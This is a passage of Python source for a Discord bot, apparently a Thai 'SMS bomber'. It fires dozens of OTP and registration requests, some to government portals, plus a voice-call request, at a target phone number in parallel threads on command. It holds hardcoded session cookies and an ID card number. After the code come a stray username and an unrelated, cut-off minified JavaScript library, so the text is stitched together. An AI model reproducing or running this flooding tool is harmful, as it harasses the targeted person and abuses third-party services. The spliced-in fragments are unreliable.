post("https://bacara888.com/api/otp/register",data={"applicant":phone,"serviceName":"gclub"}) def api74(phone): post("https://www.tslpv.net/api/v1/sendRegisterSms", data={"national_number":phone,"country_code":"TH","g_token":"null"}) def api75(phone): post("https://queenclub88.com/api/register/phone", data={"phone":phone}) def api76(phone): post("https://api.cdfoi9.com/api/v1/index.php", data=f"module=%2Fusers%2FgetVerificationCode&mobile={phone}&merchantId=111&domainId=0&accessId=&accessToken=&walletIsAdmin=",headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","content-type": "application/x-www-form-urlencoded"}) def api77(phone): get(f"https://api.joox.com/web-fcgi-bin/web_account_manager?optype=5&os_type=2&country_code=66&phone_number=0{phone}&time=1641777424446&_=1641777424449&callback=axiosJsonpCallback2") def api79(phone): send = Session() send.headers.update({"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38","Content-Type" : "application/x-www-form-urlencoded","Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}) snd = send.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",data=f"st.r.phone=+66{phone[1:]}") sed = send.post("https://ok.ru/dk?cmd=AnonymRegistrationAcceptCallUI&st.cmd=anonymRegistrationAcceptCallUI",data="st.r.fieldAcceptCallUIButton=Call") def api80(phone): get(f"https://findclone.ru/register?phone=+66{phone[1:]}",headers={"X-Requested-With" : "XMLHttpRequest","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36"}).json() def api88(phone): post("https://globalapi.pointspot.co/papi/oauth2/signinWithPhone", data={"phoneNumber": phone}) def api89(phone): # QCLOUD post("https://api.cashmarket-th.com/app/userinfo/send/smsCode", json={"baseParams":{"platformId":"android","deviceType":"h5","deviceIdKh":"20220118121149smyjjs57jxtqbwkuu74y0vd6p5yzhrmp86872f73364d46d3bf9446ddd583ef61ee8fafe504bab46ec267ca96a99281d6rreqhrlgsg4p3srgv1i5s4pp8u9la6gf1","termSysVersion":"5.1.1","termModel":"A37f","brand":"","termId":"null","appType":"6","appVersion":"2.0.0","pValue":"","position":{"lon":"null","lat":"null"},"bizType":"0000","appName":"Cash Market","packageName":"com.cashmarketth.h5","screenResolution":"720,1280"},"clientTypeFlag":"h5","token":"","phoneNumber":"","timestamp":"1642479101529","bizParams":{"phoneNum": phone,"code":"null","type":200,"channelCode":"hJ071"}}) def api90(phone): post("https://shopgenix.com/api/sms/otp/",headers=header,data=f"mobile_country_id=1&mobile={phone}") # SME-GP def api91(phone): post("https://api.thaisme.one/smegp/register/request-otp",json={"MOBILE":phone}) #YOUROTP def api92(phone): post("https://apiv3.slot999ss.com/front/api/register/set/OTP",data=f"phone={phone}",headers={"content-type": "application/x-www-form-urlencoded;charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) #Sabuy-Ebuy def api93(phone): post("https://sabuyebuy.com/wp-json/api/v1/get-otp",headers=header,json={"msisdn":f"{phone}"}) #FAST-PLUS. def api94(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", data={"tel":phone,"otp_type":"register"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Basic 755b4608e637d413d668502704d93e377f4f67b2d3d0f50e5644af3607f31ddb3174ecaf5b2c40c86f9efc32de1ee0bbf3e7a2b32cb055a3cb7068e1bb152844"}) #Zilingo def api95(phone): post("https://id.zilingo.com/api/v1/userVerification/initiate?up_s=B2B_ASIA_MALL&up_cd=v1_eyJjbGllbnRVc2VySWRlbnRpZmljYXRpb24iOnsiYW5vbnltb3VzVXNlcklkT3B0IjoiQUlENTUwMDY3MTIzMjA0NTY2MDkyIiwic2Vzc2lvbklkT3B0IjoiU0lENTUwMDY3MTIzMjA0NTY2MDkyIiwidXNlcklkT3B0IjpudWxsfSwic2NyZWVuT3B0Ijp7InNjcmVlblR5cGUiOiJDQVRFR09SWSIsInNjcmVlbklkIjoiV0NMIiwic2NvcGUiOm51bGx9LCJidXllclJlZ2lvbk9wdCI6IkIyQl9USEEiLCJsb2NhbGVDb2RlIjoidGgiLCJxdiI6eyJjbGllbnQiOiJXZWIiLCJzdWJDbGllbnQiOiJEZXNrdG9wV2ViIiwidmVyc2lvbiI6IjM1LjguNSJ9fQ==",headers=header,json={"channelDetails":{"phoneNumber":f"+66{phone[1:]}","channelType":"SMS"},"source":"UNIFIED_LOGIN","action":"OTP_LOGIN","redirectTo":"/th-th/Women/Clothing"}) #DGA def api96(phone): post("https://accounts.egov.go.th/Citizen/Account/MobileRegisterJson",headers=header,json={"Mobile":f"{phone}","TransactionId":"f28ef0a2-23ff-4abd-b9e6-fdfc271298ea"}) def api97(phone): post("https://tdhw.treasury.go.th/TD-Vote/api/otp/request",json={"ID_CARD":"1104200197909","TEL":f"{phone}","OTP_TYPE":"OTP_TEST"}) def api98(phone): post("https://user-api.learn.co.th/authentication/sendOTP",json={"mobileNumber": phone},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Host": "user-api.learn.co.th","content-length": "29","sec-ch-ua-mobile": "?1","content-type": "application/json;charset=UTF-8","accept": "application/json, text/plain, /","sec-ch-ua-platform": "Android","origin": "https://user.learn.co.th","sec-fetch-site": "same-site","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://user.learn.co.th/","x-api-key": "USER_API_KEY"}) #FOODDIARY def api99(phone): post("https://www.fooddiaryonlineshop.com/RegisterNewCustomer",headers=header,data=f"__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=Ble7%2FRYu%2F1RjtS%2FfO9KgKdBWKCntkuS%2F0x7Qh6w4mnY7kV82h741dj1JFc5xnFbW7yacbboe0%2B5nTVVF%2BFSGEHQvaTkL4HQ5qDJbZMBQEt73YZZ%2FZON2LWw193tcYCjDwL3y3vy3lks%2BduyUOCNMwlwNpfrPDsvbhgT4qDCekWgvnnFrzFGCtQYO6cTU3Lax6YpvUbBld0oKgkWcHg0efFp3K2S2fLx%2BK4oTVGr6bq1QdKl5uPHqtL04IHkdy7X6Wbf6lUTQgOa5q5wLfE2KUGHWUUsYjahMwHmRCaVSxB7P1eDmiZ%2BQNku9pHs7m50GtCSePXPSfYtFBumDCM2R1XklFOdYV4X1jJgt%2Fe3MGV1Xmj7cRE%2FsBk1u%2FMYfN%2BmXb5dxruqgDuhXAnWP%2F8Syot1XGEUtVclmfF5NIB0KkCu6He8dheN%2BhEkupLqzP6Ip6OAMNnvssm1rMngwDy7ipCNC3dPXMj83IpBuuD1LWbPr3x3ksf0%2FrGL4yM7jvr8a99ifPcJPcmJzY%2Feay0PKwdwA3u2KTyCoXVgMZwqvsdRoyRHlFooZ3AHoBNsQrkegtyk5eHtjpBTLHD1dzQT3R%2FRaYIbencMw%2B5BbVJWiPzVTXF%2BiQ9A64UcUP9adMciJa7TudfL331vSRd%2FwVMkA%2B1fDtVrfBBi8%2BHbta7BsuVjk0ZodiLMuloOsYaTSilSLmidUpEZFsj0Zhz%2FpwGu%2FGKMixcG95PmRkOdpAj4d2D8%3D&__VIEWSTATEGENERATOR=94756D41&ctl00%24MainContent%24PageGUIDForSession=&ctl00%24MainContent%24rdEmail=U&ctl00%24MainContent%24rdMobile=C&ctl00%24MainContent%24cbpEmptry%24txtMobileNo%24State=%7B%26quot%3BrawValue%26quot%3B%3A%26quot%3B{phone}%26quot%3B%2C%26quot%3BvalidationState%26quot%3B%3A%26quot%3B%26quot%3B%7D&ctl00%24MainContent%24cbpEmptry%24txtMobileNo=0958816629&ctl00%24MainContent%24cbpEmptry%24txtOTP%24State=%7B%26quot%3BrawValue%26quot%3B%3A%26quot%3B%26quot%3B%2C%26quot%3BvalidationState%26quot%3B%3A%26quot%3B%26quot%3B%7D&ctl00%24MainContent%24cbpEmptry%24txtOTP=&ctl00%24MainContent%24cbpEmptry%24chkRead=U&ctl00%24MainContent%24cbpEmptry%24chkConsent=U&DXScript=1_16%2C1_17%2C1_28%2C1_66%2C1_18%2C1_19%2C1_20%2C1_21%2C1_224%2C1_225%2C1_230%2C1_229%2C1_51%2C1_22%2C1_14%2C1_226%2C1_52&DXCss=1_248%2C1_69%2C1_71%2C1_250%2C1_247%2C1_75%2C1_74%2C1_251%2C%2FContent%2Fcss%3Fv%3DFILIkBdKK0FrNSvnRmezf5qTxic9NR7FOzzIJ8iQAKQ1%2Cfavicon.ico%2C..%2F..%2FContent%2Fbootstrap.min.css%2CStyles%2Fbutton.css&__CALLBACKID=ctl00%24MainContent%24cbpEmptry&__CALLBACKPARAM=c0%3ARequestOTP&__EVENTVALIDATION=N%2FlR5TtQKjdRNUQy0QFSjIjFW06D%2Fdy2VFm5Zl%2FTN%2FlsEYUsQVZwH8qpQ5sFzI0PBX2ZLH3HhxXkkZRvuada%2Bu6zsHxSgV3In38ahlf75%2Blm%2BguMSbwp%2FSxuo4Cc3cm5ZFVYYR9eVfvdwG4YsxWYbA%3D%3D") #yandex def api100(phone): post("https://passport.yandex.com/registration-validations/phone-confirm-code-submit",headers=header,data=f"track_id=b3dc4a29a19d038f1cd522187726d7bb5a&csrf_token=e150046ff026a517c15d45444294ffa3275b140c%3A1645857142788&number={phone}&isCodeWithFormat=true&confirm_method=by_sms") def api101(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": useragent}).text res=session.post("https://srfng.ais.co.th/api/v2/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": useragent,"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def api102(phone): post("https://api.zaapi.co/api/store/auth/otp/login",json={"phoneNumber":f"+66{phone[1:]}","namespace":"zaapi-buyers"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api103(phone): get(f"https://bkk-api.ks-it.co/Vcode/register?country_code=66&phone={phone}&sms_type=1&user_type=2&app_version=4.3.25&device_id=79722530562d973f&app_device_param=%7B%22os%22%3A%22Android%22%2C%22app_version%22%3A%224.3.25%22%2C%22model%22%3A%22A37f%22%2C%22os_ver%22%3A%225.1.1%22%2C%22ble%22%3A%220%22%7D&language=th&token=") #OTP_SMS def api104(phone): post("https://www.vegas77slots.com/auth/send_otp",data=f"phone={phone}&otp=&password=&bank=&bank_number=&full_name=&ref=21076",headers={"content-type": "application/x-www-form-urlencoded","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "vegas77slots=pj5kj4ovnk2fao1sbaid2eb76l1iak7b"}) #privacy def api105(phone): post("https://ipro356.com/wp-content/themes/hello-elementor/modules/index.php",data=f"method=wpRegisterotp&otp_tel={phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "PHPSESSID=vtacuje1no166kkp4d40nolak5"}) #kaspy def api106(phone): post("https://kaspy.com/sms/sms.php/",data=f"phone={phone}",headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Cookie": "PHPSESSID=2i484jdb1pie5am071cveupme5; mage-cache-storage=%7B%7D; mage-cache-storage-section-invalidation=%7B%7D; mage-cache-sessid=true; form_key=rUt4Q17TiRlUfgKz; _ga=GA1.2.1486915122.1646803642; _gid=GA1.2.1348564830.1646803642; _fbp=fb.1.1646803643605.1538052508; mage-messages=; recently_viewed_product=%7B%7D; recently_viewed_product_previous=%7B%7D; recently_compared_product=%7B%7D; recently_compared_product_previous=%7B%7D; product_data_storage=%7B%7D; smartbanner_exited=1; __atuvc=2%7C10; __atuvs=62283aaa77850300001; _gat=1; private_content_version=382c8a313cac3cd587475c1b3693672e; section_data_ids=%7B%22cart%22%3A1646803701%2C%22customer%22%3A1646803701%2C%22compare-products%22%3A1646803701%2C%22last-ordered-items%22%3A1646803701%2C%22directory-data%22%3A1646803701%2C%22captcha%22%3A1646803701%2C%22instant-purchase%22%3A1646803701%2C%22persistent%22%3A1646803701%2C%22review%22%3A1646803701%2C%22wishlist%22%3A1646803701%2C%22chatData%22%3A1646803701%2C%22recently_viewed_product%22%3A1646803701%2C%22recently_compared_product%22%3A1646803701%2C%22product_data_storage%22%3A1646803701%2C%22paypal-billing-agreement%22%3A1646803701%2C%22messages%22%3A1646803708%7D"}) def api107(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", headers={"User-Agent": useragent}, json={"reqId":"39816-1633012470","params":{"phone": f"+66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def call1(phone): post("https://www.theconcert.com/rest/request-otp",json={"mobile":phone,"country_code":"TH","lang":"th","channel":"call","digit":4},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "_gcl_au=1.1.708266966.1646798262;_fbp=fb.1.1646798263293.934490162;_gid=GA1.2.1869205174.1646798265;__gads=ID=3a9d3224d965d1d5-2263d5e0ead000a6:T=1646798265:RT=1646798265:S=ALNI_MZ7vpsoTaLNez288scAjLhIUalI6Q;_ga=GA1.2.2049889473.1646798264;_gat_UA-133219660-2=1;_ga_N9T2LF0PJ1=GS1.1.1646798262.1.1.1646799146.0;adonis-session=a5833f7b41f8bc112c05ff7f5fe3ed6fONCSG8%2Fd2it020fnejGzFhf%2BeWRoJrkYZwCGrBn6Ig5KK0uAhDeYZZgjdJeWrEkd2QqanFeA2r8s%2FXf7hI1zCehOFlqYcV7r4s4UQ7DuFMpu4ZJ45hicb4xRhrJpyHUA;XSRF-TOKEN=aacd25f1463569455d654804f2189bc77TyRxsqGOH%2FFozctmiwq6uL6Y4hAbExYamuaEw%2FJqE%2FrWzfaNdyMEtwfkls7v8UUNZ%2BFWMqd9pYvjGolK9iwiJm5NW34rWtFYoNC83P0DdQpoiYfm%2FKWn1DuSBbrsEkV"}) #https://swagger.io/specification/ def startall(phone, amount): for x in range(amount): threading.submit(sk1, phone) threading.submit(sk2, phone) threading.submit(sk3, phone) threading.submit(sk4, phone) threading.submit(sk5, phone) threading.submit(sk6, phone) threading.submit(sk7, phone) threading.submit(sk8, phone) threading.submit(sk9, phone) threading.submit(sk10, phone) threading.submit(sk11, phone) threading.submit(sk12, phone) threading.submit(sk13, phone) threading.submit(sk14, phone) threading.submit(sk15, phone) threading.submit(sk16, phone) threading.submit(sk17, phone) threading.submit(sk18, phone) threading.submit(sk19, phone) threading.submit(sk20, phone) threading.submit(sk21, phone) threading.submit(sk22, phone) threading.submit(sk23, phone) threading.submit(sk24, phone) threading.submit(sk25, phone) threading.submit(sk26, phone) threading.submit(sk27, phone) threading.submit(sk28, phone) threading.submit(sk29, phone) threading.submit(sk30, phone) threading.submit(sk31, phone) threading.submit(sk32, phone) threading.submit(p1112v2, phone) threading.submit(yandex, phone) threading.submit(p1112, phone) threading.submit(okru, phone) threading.submit(karusel, phone) threading.submit(icq, phone) threading.submit(findclone, phone) threading.submit(spam_pizza, phone) threading.submit(youla, phone) threading.submit(instagram, phone) threading.submit(VBC, phone) threading.submit(api1, phone) threading.submit(api2, phone) threading.submit(api3, phone) threading.submit(api4, phone) threading.submit(api5, phone) threading.submit(api6, phone) threading.submit(api7, phone) threading.submit(api8, phone) threading.submit(api9, phone) threading.submit(api10, phone) threading.submit(api11, phone) threading.submit(api12, phone) threading.submit(api13, phone) threading.submit(api14, phone) threading.submit(api15, phone) threading.submit(api16, phone) threading.submit(api17, phone) threading.submit(api18, phone) threading.submit(api19, phone) threading.submit(api22, phone) threading.submit(api21, phone) threading.submit(api23, phone) threading.submit(api24, phone) threading.submit(api25, phone) threading.submit(api26, phone) threading.submit(api27, phone) threading.submit(api28, phone) threading.submit(api29, phone) threading.submit(api30, phone) threading.submit(api31, phone) threading.submit(api32, phone) threading.submit(api33, phone) threading.submit(api34, phone) threading.submit(api35, phone) threading.submit(api36, phone) threading.submit(api37, phone) threading.submit(api38, phone) threading.submit(api39, phone) threading.submit(api40, phone) threading.submit(api41, phone) threading.submit(api42, phone) threading.submit(api43, phone) threading.submit(api44, phone) threading.submit(api45, phone) threading.submit(api46, phone) threading.submit(api47, phone) threading.submit(api48, phone) threading.submit(api49, phone) threading.submit(api50, phone) threading.submit(api51, phone) threading.submit(api52, phone) threading.submit(api53, phone) threading.submit(api54, phone) threading.submit(api55, phone) threading.submit(api56, phone) threading.submit(api57, phone) threading.submit(api58, phone) threading.submit(api59, phone) threading.submit(api60, phone) threading.submit(api61, phone) threading.submit(api62, phone) threading.submit(api63, phone) threading.submit(api64, phone) threading.submit(api65, phone) threading.submit(api66, phone) threading.submit(api67, phone) threading.submit(api68, phone) threading.submit(api69, phone) threading.submit(api70, phone) threading.submit(api71, phone) threading.submit(api72, phone) threading.submit(api73, phone) threading.submit(api74, phone) threading.submit(api75, phone) threading.submit(api76, phone) threading.submit(api77, phone) threading.submit(api79, phone) threading.submit(api80, phone) threading.submit(api88, phone) threading.submit(api89, phone) threading.submit(api90, phone) threading.submit(api91, phone) threading.submit(api92, phone) threading.submit(api93, phone) threading.submit(api94, phone) threading.submit(api95, phone) threading.submit(api96, phone) threading.submit(api97, phone) threading.submit(api98, phone) threading.submit(api99, phone) threading.submit(api100, phone) threading.submit(api101, phone) threading.submit(api102, phone) threading.submit(api103, phone) threading.submit(api104, phone) threading.submit(api105, phone) threading.submit(api106, phone) threading.submit(api107, phone) threading.submit(call1, phone) @bot.event async def on_command_error(ctx, error): print(str(error)) @bot.event async def on_ready(): await bot.change_presence(status=discord.Status.idle, activity=discord.Activity(type=discord.ActivityType.playing, name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌')) print(gratient.purple(f" Login as : {bot.user.name}#{bot.user.discriminator}")) @bot.command() @commands.has_role('//') async def help(ctx): await ctx.message.delete() embed=discord.Embed( description=f"```command ⚙️ : {PREFIX}sms Phone Amount : 1 - {str(LIMIT)} : messgae```", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed) @bot.command() async def sms(ctx, phone=None, amount=None): if (str(ctx.message.channel.id) == '1002168628046737418'): if (phone == None or amount == None): embed=discord.Embed( description="```#กรุณาใส่ข้อมูลให้ครบถ้วน#```", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) else: if (phone not in blacklist): try: amount = int(amount) if (amount > LIMIT): embed=discord.Embed( description=f":alarm_clock: : ใส่ไม่เกิน {LIMIT} นาที.", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() else: embed=discord.Embed( description=f"เบอร์ 📱 : ||{phone}|| \nสถานะ :envelope_with_arrow: : สุ่ม \nเป็นเวลา :bar_chart: : {amount} นาที", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://media.discordapp.net/attachments/1002879972219834408/1003142533062332506/standard.gif') await ctx.send(embed=embed,) startall(phone, amount) await ctx.message.delete() except: embed=discord.Embed( description=":clipboard: : ใส่เบอร์คนที่จะยิงให้ถูก. ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://media.discordapp.net/attachments/1002879972219834408/1003142533062332506/standard.gif') await ctx.message.delete() await ctx.send(embed=embed,delete_after=10) else: embed=discord.Embed( description=f":face_with_symbols_over_mouth: : อย่ายิงเบอร์กู : :face_with_symbols_over_mouth: ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() else: embed=discord.Embed( description=":chart_with_downwards_trend: : ใส่ให้ภูกห้องไอควาย \n #〖📩〗-»《. ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name=' 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() bot.run(TOKEN, reconnect=True)
drissi1990
(function(){var l;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}function ba(a){var b="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];return b?b.call(a):{next:aa(a)}}function ca(a){if(!(a instanceof Array)){a=ba(a);for(var b,c=[];!(b=a.next()).done;)c.push(b.value);a=c}return a}var da="function"==typeof Object.create?Object.create:function(a){function b(){}b.prototype=a;return new b},ea;if("function"==typeof Object.setPrototypeOf)ea=Object.setPrototypeOf;else{var fa;a:{var ha={Ea:!0},ia={};try{ia.__proto__=ha;fa=ia.Ea;break a}catch(a){}fa=!1}ea=fa?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}var ja=ea;function ka(a,b){a.prototype=da(b.prototype);a.prototype.constructor=a;if(ja)ja(a,b);else for(var c in b)if("prototype"!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c]}var la="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){a!=Array.prototype&&a!=Object.prototype&&(a[b]=c.value)},ma="undefined"!=typeof window&&window===this?this:"undefined"!=typeof global&&null!=global?global:this;function na(a,b){if(b){var c=ma;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];e in c||(c[e]={});c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&la(c,a,{configurable:!0,writable:!0,value:b})}}na("String.prototype.endsWith",function(a){return a?a:function(b,c){if(null==this)throw new TypeError("The 'this' value for String.prototype.endsWith must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype.endsWith must not be a regular expression");void 0===c&&(c=this.length);c=Math.max(0,Math.min(c|0,this.length));for(var d=b.length;0<d&&0<c;)if(this[--c]!=b[--d])return!1;return 0>=d}});na("Array.prototype.find",function(a){return a?a:function(b,c){a:{var d=this;d instanceof String&&(d=String(d));for(var e=d.length,f=0;f<e;f++){var g=d[f];if(b.call(c,g,f,d)){b=g;break a}}b=void 0}return b}});var oa="function"==typeof Object.assign?Object.assign:function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Object.prototype.hasOwnProperty.call(d,e)&&(a[e]=d[e])}return a};na("Object.assign",function(a){return a||oa});var p=this||self;function q(a){return"string"==typeof a}function pa(a){return"number"==typeof a}function qa(){if(null===ra)a:{var a=p.document;if((a=a.querySelector&&a.querySelector("script[nonce]"))&&(a=a.nonce||a.getAttribute("nonce"))&&sa.test(a)){ra=a;break a}ra=""}return ra}var sa=/^[\w+/_-]+[=]{0,2}$/,ra=null;function ta(a){a=a.split(".");for(var b=p,c=0;c<a.length;c++)if(b=b[a[c]],null==b)return null;return b}function ua(){}function va(a){a.ga=void 0;a.j=function(){return a.ga?a.ga:a.ga=new a}}function wa(a){var b=typeof a;if("object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if("[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("call"))return"function"}else return"null";else if("function"==b&&"undefined"==typeof a.call)return"object";return b}function xa(a){return null===a}function ya(a){return"array"==wa(a)}function za(a){var b=typeof a;return"object"==b&&null!=a||"function"==b}function Aa(a){return a[Ba]||(a[Ba]=++Ca)}var Ba="closure_uid_"+(1E9*Math.random()>>>0),Ca=0;function Da(a,b,c){return a.call.apply(a.bind,arguments)}function Ea(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var e=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(e,d);return a.apply(b,e)}}return function(){return a.apply(b,arguments)}}function Fa(a,b,c){Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?Fa=Da:Fa=Ea;return Fa.apply(null,arguments)}function Ga(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var d=c.slice();d.push.apply(d,arguments);return a.apply(this,d)}}function r(a,b){function c(){}c.prototype=b.prototype;a.prototype=new c;a.prototype.constructor=a};var Ha=(new Date).getTime();function Ia(a,b){for(var c=a.length,d=q(a)?a.split(""):a,e=0;e<c;e++)e in d&&b.call(void 0,d[e],e,a)}function Ja(a,b){for(var c=a.length,d=[],e=0,f=q(a)?a.split(""):a,g=0;g<c;g++)if(g in f){var h=f[g];b.call(void 0,h,g,a)&&(d[e++]=h)}return d}function Ka(a,b){for(var c=a.length,d=Array(c),e=q(a)?a.split(""):a,f=0;f<c;f++)f in e&&(d[f]=b.call(void 0,e[f],f,a));return d}function La(a,b){for(var c=a.length,d=q(a)?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a))return!0;return!1}function Ma(a,b){a:{for(var c=a.length,d=q(a)?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a)){b=e;break a}b=-1}return 0>b?null:q(a)?a.charAt(b):a[b]}function Na(a,b){a:{for(var 